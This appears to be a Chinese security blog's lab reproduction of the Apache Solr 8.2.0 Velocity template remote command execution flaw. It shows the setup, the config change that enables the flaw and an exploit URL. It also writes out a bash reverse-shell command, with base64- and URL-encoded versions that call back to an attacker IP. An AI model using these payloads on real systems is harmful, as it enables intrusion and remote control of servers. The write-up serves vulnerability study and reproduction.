欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

Solr Velocity 模板远程命令执行漏洞 + 反弹外壳

最编程 2024-07-14 16:35:21
...

作者来自我们:夜行字节(字节脉搏实验室)

这个漏洞出来好几天了一直没有时间进行复现

漏洞需要java的环境,这里我就直接在kali上进行搭建了

环境搭建

首先下载源码

wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.tgz

解压之后进入bin目录下,运行

/solr create_core -c alice -d ../example/example-DIH/solr/db -force

这里是新建了一个alice的core,然后启用环境

./solr start -force

默认端口是8983,我们访问这个地址,然后在core admin中找到了alice

每一个我们新建的core都有配置信息

这里我们要修改一下配置,我们要将params.resource.loader.enabled这个参数设置为true,默认为false,才能触发漏洞,post提交下面的内容

{

 "update-queryresponsewriter": {

   "startup": "lazy",

   "name": "velocity",

   "class": "solr.VelocityResponseWriter",

    "template.base.dir":"",

   "solr.resource.loader.enabled": "true",

   "params.resource.loader.enabled": "true"

  }

}

返回200,说明修改成功

漏洞环境就搭建到这里啦

漏洞复现

payload:

http://192.168.43.128:8983/solr/alice/select?q=1&wt=velocity&v.template=custom&v.template.custom

这样就可以执行命令了,github上也有很多利用的脚本

反弹shell

好像和之前泛微oa的命令执行是一样的,利用了getRuntime().exec()这个函数来执行命令,但是这个函数有一些特性,可以看下面的文章和内容Java下奇怪的命令执行:https://mp.weixin.qq.com/s/ZS-hA03ykKleDjgN8oWZDw

所以我们直接执行命令的时候不能使用:

bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1"

而是要利用base64编码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i}

这里我们来实验一下: 目标机器:192.168.43.128 攻击机器:192.168.43.1

首先在攻击机器上设置nc监听端口

然后将我们反弹shell的bash命令进行base64编码:

然后进行一次url编码

构造后的payload:

%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEvMTEyMzMgMD4mMQ%3d%3d%7d%7c%7bbase64%2

这样我们就能反弹shell了 脚本就不写咯 :)